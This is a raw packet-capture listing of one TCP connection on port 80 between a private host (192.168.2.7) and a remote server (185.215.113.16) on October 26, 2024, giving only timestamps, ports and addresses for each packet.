Oct 26, 2024 08:53:48.775012970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.775077105 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.775094032 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.775105953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.775116920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.775125980 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.775130033 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.775141954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.775154114 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.775162935 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.775166988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.775175095 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.775180101 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.775202036 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.819185972 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.819200039 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.819211960 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.819221973 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.819247007 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.819245100 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.819289923 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.850142002 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.850167990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.850179911 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.850236893 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.850312948 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.998702049 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998722076 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998733997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998744965 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998752117 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998768091 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998814106 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998822927 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.998826981 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998840094 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998853922 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998878956 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.998892069 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998903036 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.998904943 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998923063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998936892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998945951 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.998949051 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.998981953 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.999074936 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.999088049 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.999100924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.999113083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.999115944 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.999128103 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.999141932 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.999141932 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.999156952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:48.999167919 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:48.999202013 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.009885073 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.009953022 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.009963989 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.009974957 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.010056019 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.010077000 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.010835886 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.010896921 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.010906935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.010961056 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.054563046 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.054579973 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.054629087 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.084794044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.084822893 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.084834099 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.084849119 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.084866047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.084896088 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.085001945 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.115925074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.115988970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.116072893 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.127167940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.127180099 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.127191067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.127262115 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.128242970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.128303051 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.128314972 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.128353119 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.202222109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.202255011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.202265978 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.202286005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.202297926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.202320099 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.202349901 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.202351093 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.202363014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.202385902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.202393055 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.202399969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.202414036 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.202425003 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.202450991 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.244930029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.244942904 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.244956017 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.244990110 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.245701075 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.245747089 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.245759010 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.245769024 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.245775938 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.245799065 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.319547892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.319561958 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.319575071 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.319602966 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.319622993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.319632053 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.319731951 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.319744110 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.319756031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.319766998 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.319781065 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.319782972 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.319793940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.319806099 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.319807053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.319828033 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.319849968 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.362431049 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.362443924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.362454891 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.362493038 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.363195896 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.363215923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.363229036 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.363241911 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.363270998 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.363348007 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.363359928 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.363400936 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.437139988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.437166929 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.437180996 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.437201977 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.437216043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.437220097 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.437228918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.437243938 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.437258005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.437258005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.437273026 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.437300920 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.437405109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.437417030 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.437459946 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.479674101 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.479724884 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.479837894 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.479850054 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.479865074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.479907036 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.480490923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.480537891 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.480571032 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.480588913 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.480603933 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.480618000 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.480629921 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.480634928 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.480654001 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.526197910 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.554697037 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.554709911 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.554759026 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.703553915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.703574896 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.703588963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.703613997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.703624010 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.703634024 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.703645945 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.703661919 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.703675032 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.703725100 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.715574026 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.715584040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.715626955 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.745724916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745762110 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745774984 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745784998 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745815039 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745826006 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745841026 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745852947 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745877981 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745882034 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.745889902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745903015 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745915890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745917082 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.745944977 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.745968103 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745968103 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.745980978 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.745992899 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.746015072 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.746133089 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.746149063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.746189117 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.790424109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.790457964 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.790469885 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.790479898 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.790491104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.790508032 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.790549994 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.790554047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.790566921 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.790582895 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.790597916 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.820971966 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.820985079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.821038008 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.833028078 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.833056927 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.833069086 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.833101988 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.833132982 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.862915039 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.862957954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.863008022 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.907810926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.907838106 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.907859087 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.907871962 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.907890081 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.907896042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.907910109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.907932043 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.907952070 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.907958031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.907978058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.907990932 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.908008099 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.908010006 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.908034086 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.950401068 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.950426102 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.950454950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.950468063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.950473070 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.950479031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:49.950508118 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:49.992503881 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.025253057 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.025294065 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.025304079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.025310993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.025325060 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.025337934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.025362968 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.025403976 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.025418997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.025422096 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.025438070 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.025460005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.025464058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.025593996 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.025604963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.025633097 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.025654078 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.068109989 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.068141937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.068161011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.068173885 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.068195105 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.068237066 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.142919064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.142934084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.142955065 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.142983913 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.142988920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.143009901 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.143022060 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.143028975 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.143035889 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.143057108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.143063068 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.143085003 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.143096924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.143099070 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.143131971 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.185451984 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.185503006 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.185520887 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.185534954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.185547113 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.185555935 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.185606956 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.260365009 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.260387897 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.260421991 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.260441065 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.260446072 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.260454893 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.260467052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.260481119 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.260485888 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.260493994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.260515928 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.260524035 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.260535002 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.260550022 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.260560036 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.260587931 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.303029060 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.303054094 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.303065062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.303077936 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.303105116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.303106070 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.303153992 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.377639055 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.377695084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.377705097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.377715111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.377738953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.377752066 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:50.377754927 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:50.377770901 CEST	80	49759	185.215.113.16	192.168.2.7
